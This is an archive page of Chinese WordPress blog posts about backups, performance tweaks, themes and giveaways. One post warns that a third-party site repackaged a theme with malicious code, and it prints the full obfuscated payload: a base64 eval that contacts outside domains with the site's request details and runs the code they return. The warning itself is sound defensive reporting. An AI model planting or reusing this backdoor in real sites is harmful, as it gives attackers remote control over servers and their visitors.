Posts Tagged ‘Wordpress’
Monday, March 3rd, 2008
对于大多数Wordpress用户而言,blog的备份是通过使用Wordpress Databackup这样的插件或者直接利用mysql备份来完成的,现在一个叫作Jonas Lejon、来自瑞典的小伙子创建了一个blog备份服务网站:Blogbackupr,该网站可以帮助blogger在站外备份自己blog的文章,并且支持所有具备RSS输出功能的blog服务(这基本涵盖了所有blog类型),同时对于Wordpress.com、blogger.com上的blog以及使用Wordpress搭建的blog还支持备份后的自动恢复(提醒一下:如果是后者,备份和恢复需要用户提供blog的帐号和密码),不得不说Lejon的创意不错,特别是对非Wordpress用户,有兴趣的朋友不妨试试看。

Tags: backup, Blog, blogbackupr, Wordpress
Posted in 新发现 | 1 Comment »
Monday, January 28th, 2008
当在wordpress中更改category的名称和slug时,有时会遇到无法更新的问题,提示“category not updated“,这时你需要检查一下是否slug有重名的情况,一般都是由于这个原因造成的,其实wordpress应该明确提示类别重名的信息才对。
Tags: category not updated, Wordpress
Posted in Wordpress | No Comments »
Wednesday, January 23rd, 2008
Wordpress性能差、速度慢是出了名的,加速Wordpress除了安装一些缓存/静态化插件,例如WP-Cache、WP-Super-Cache和Cos-Html-Cache,还可以通过清理主题文件中的一些数据库查询语句,减少Http请求次数,达到优化的目的。
Wordpress主题文件中经常会用到的查询语句主要有以下几个,这些语句完全可以去除或转化为静态方式而无须访问数据库 :
<html xmlns=”http://www.w3.org/1999/xhtml” <?php language_attributes() ?>> 转化为
<html lang=”zh-CN“ dir=”ltr“ xmlns=”http://www.w3.org/1999/xhtml“>
<meta http-equiv=”content-type” content=”<?php bloginfo(’html_type’) ?>; charset=<?php bloginfo(’charset’) ?>” /> 转化为
<meta content=”text/html; charset=UTF-8“ http-equiv=”content-type“/>
<meta name=”description” content=”<?php bloginfo(’description’) ?>” />转化为
<meta name=”description” content=”这里直接输入你的博客简介” />
<meta name=”generator” content=”WordPress <?php bloginfo(’version’) ?>” /> 这句可以删除
<link rel=”stylesheet” type=”text/css” href=”<?php bloginfo(’stylesheet_url’); ?>” /> 直接写出style.css文件的链接地址
<link rel=”alternate” type=”application/rss+xml” href=”<?php bloginfo(’rss2_url’) ?>” /> 直接写出RSS的链接地址
<link rel=”pingback” href=”<?php bloginfo(’pingback_url’) ?>” /> 直接写出pingback的链接地址
以此类推,凡是可以变为静态方式的地方都直接写出具体内容,这些语句大都存在于header.php和footer.php文件中,通过这番清理,大概可以减少10多次的数据库查询。
想进一步优化Wordpress的朋友还可以参考下面两篇文章介绍的方法 : 《优化Wordpress-wp终极优化手册》、《加快WordPress的页面生成和载入速度》。
注 : 本文参考了Speed up and clean up your WordPress!。
Tags: Blog, php, plugin, Wordpress, wordpress优化
Posted in Wordpress | 1 Comment »
Tuesday, January 1st, 2008
我爱水煮鱼所写的通过优化插件来提高 WordPress 运行效率一文非常好,建议所有使用Wordpress的朋友都读一读。对于优化插件问题,我想到了一个方法,就是将所有Blog必需的插件函数写入模板的functions.php文件中,加载模板时也就同时启用了这些函数,但这要求你对插件的结构比较了解,清楚其中哪些语句是函数所必需的,哪些是无谓的,所以我不建议对比较复杂的插件使用此方法,而有些插件我们经常使用并且其本身又短小精悍,最适合使用此法,以中文Blogger必备的中文 WordPress 工具箱为例,其中获取最新文章列表的函数所包含的语句如下:
function get_recent_posts($no_posts = 10, $before = ‘<li> ‘, $after = ‘</li>’, $show_pass_post = false, $skip_posts = 0) {
global $wpdb, $tableposts;
$request = “SELECT ID, post_title, post_date, post_content FROM $tableposts WHERE post_status = ‘publish’ “;
if(!$show_pass_post) { $request .= “AND post_password =” “; }
$request .= “ORDER BY post_date DESC LIMIT $skip_posts, $no_posts”;
$posts = $wpdb->get_results($request);
$output = ”;
foreach ($posts as $post) {
$post_title = stripslashes($post->post_title);
// $post_date = mysql2date(’j.m.Y’, $post->post_date);
$permalink = get_permalink($post->ID);
$output .= $before . ‘<a href=”‘ . $permalink . ‘” rel=”bookmark” title=”Permanent Link: ‘ . $post_title . ‘”>’ . $post_title . ‘</a>’. $after;
}
echo $output;
}
那么只需要将这段代码写入functions.php文件中即可,其他类似的函数还有中文wordpress工具箱中的其他函数、wp-pagenavi、gravatar等。最后提醒一下,如果你的模板是准备公开发布的,请在functions.php中注明插件出处^_^。
Tags: plugin, theme, Wordpress, 优化
Posted in Wordpress | 1 Comment »
Tuesday, January 1st, 2008
有段时间没有更新Blog了,不是我变懒了,而是业余时间的精力被分散到了其他地方,首先是自己又建了一个短评类的Blog:Livedot.org,有点儿类似于把sideblog的内容单独分离出去,欢迎您随时光临;另外我正在基于wordpress开发一个magazine-style的网站,初始设想是将其办成有关Blog和Blogger的新闻/杂志类站点,目前最重要的首页部分已经大致设计完成,这也是我第一次独立开发一个全新的Wordpress theme,又学到了不少东西,本来我最初想用Drupal或者Modx这类正宗CMS程序,但在看了freeshipping这个网站后,我发现用Wordpress也完全能够做出CMS风格,而且这还能节省学习其他程序的精力,事实也证明,利用灵活的custom field,wordpress几乎无所不能,如果再配合jQuery或者Mootools这类javascript框架,甚至还可以做得很华丽。

说一下自己的wishlist吧:
- 运营好blog and blogger这个站点,同时希望有朋友能够加入,如果您有兴趣,请联系kenshin2010[at]gmail.com
- 设计3-4个wordpress themes,其中可能包括1-2个商业模板
- 写1-2本与wordpress有关的电子书
这辈子大概不能和喜欢的人在一起了,那就尽量做写自己喜欢的事吧^_^
Tags: Blog, blogger, cms, magazine style, theme, Wordpress
Posted in 博上谈IT | No Comments »
Thursday, December 20th, 2007
著名的网站设计师Derek在自己的Blog上提醒Wordpress的新手在从一些主题下载站下载WP模板时一定要小心,因为他发现自己制作的模板被一个名为WP Sphere(这个网站现已不能访问)的站点重新打过包,并在header.php文件中嵌入了恶意代码,因此从该站点下载了模板的用户很可能会中招,Derek建议大家直接从模板作者的网站上下载东西而不是经由WP Sphere这样的第三方主题站,国内也有不少第三方站点提供WP模板的下载,目前似乎还未发现这样的恶意事件,不过小心使得万年船,在应用模板前最好检查一下文件代码,看看是否有类似的恶意代码,如果你的Wordpress水平已经到了一定水平,不妨试试自己写模板吧。
嵌入到Derek模板中的恶意代码:
@eval(@base64_decode(’aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\
jY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20i\
LCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiw\
gJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICR\
SNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3I\
iOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\
kxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMk\
QwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1Qj\
M5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRj\
EyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNT\
BGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIj\
sgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OT\
cgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3OD\
M2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJF\
JEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgIC\
RSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cD\
ovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLm\
NvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waH\
A/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXS\
kgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0\
hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRT\
kwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNj\
U2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOU\
I3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQT\
gwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMz\
M1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNT\
BGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRk\
U5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdX\
JsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG\
9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIE\
ByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMT\
E1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQk\
MzMDkxNik7′));
Tags: theme, Wordpress, 恶意代码
Posted in Wordpress | No Comments »
Tuesday, December 11th, 2007
又一个“免费赢取”,希望这次不像Premium News模板一样有始无终
经hhalloyy提醒,赢取Priemium News模板的活动看来还是有效的,但也是随机选择评论者,我以前没注意到,多谢hhalloyy!
Problogger.net下周开始将举行一个小小的竞赛活动,从周一到周五,每一天Darren会随机选择一条评论作为当天的赢家,奖品是Lisa Sabin-Wilson所写的Wordpress for Dummies(没说是电子版还是纸媒版,我估计是电子版的),周末会宣布5位幸运儿是谁,评论数量不限,但Darren对评论的要求是言之有物,有兴趣者下周到Problogger.net上碰碰运气吧。
Tags: prize, problogger.net, Wordpress, wordpress for dummies
Posted in 新发现 | 2 Comments »
Monday, December 3rd, 2007
勤奋的Deziner Folio又发布了一款漂亮的Wordpress主题:dfLover,这款主题集成了Flickr和Gravatar插件,兼容最新的Wordpress 2.3版本,sidebar和footer点缀着淡蓝色和粉红色的花,淡雅细腻,个人感觉很适合女孩子使用。

演示站点
下载请到这里
Tags: dfLover, themes, Wordpress
Posted in Wordpress | No Comments »
Monday, November 26th, 2007

转述一下来自E-space的消息,Adii制作的Wordpress商业模板Premium News(收费99美元!)现在有机会免费获取,方法是在11月29日之前,在WPThemesPlugin的这篇帖子后面留言,并且留言中必须包含“I want the Premium News Theme!”这句话。这个模板制作得相当强悍,无怪乎要收费,我已经留言了,希望能得到一份copy,好好研究一下!
Tags: free, theme, Wordpress
Posted in Wordpress | 5 Comments »
Tuesday, November 20th, 2007
抽空将Techpush升级到了Wordpress 2.3.1并做了全新的设计,主题代码是在Sandbox的基础上改造的,样式是参考了多个国外的Blog后“混合”的结果,目前大致可用,先放上来试试看,一些细节还需要改进,以前用的部分插件仍需要进一步测试。另外,在本机环境测试时已经尽力去解决恼人的IE6和Firefox兼容性问题,但仍不能保证两者的显示效果完全一致,在此强烈建议还在使用古老的IE6的朋友尽快升级到IE7或者转用Firefox、Opera,没有比IE6更垃圾的东西了!

前一段时间开始转用Ubuntu做自己的主系统,这个主题就是在Ubuntu下完成制作的:logo和图片是用Gimp作的,图标则使用了Ubuntu自带的Tango图标,当然效果都比较简单,主要是因为自己对Gimp还不太会用,不过这是一个不错的开始:),最大的困难可能是编写CSS,Linux下没有像TopStyle这样强悍的工具,所以调试起来比较麻烦,以后可能会写一些这方面的心得。
论文已经写完了,这周末答辩,所以这个站点正常的更新要等到答辩结束之后了,希望可以顺利通过!:)
Tags: sandbox, theme, ubuntu, web-design, Wordpress
Posted in 杂7杂8 | 2 Comments »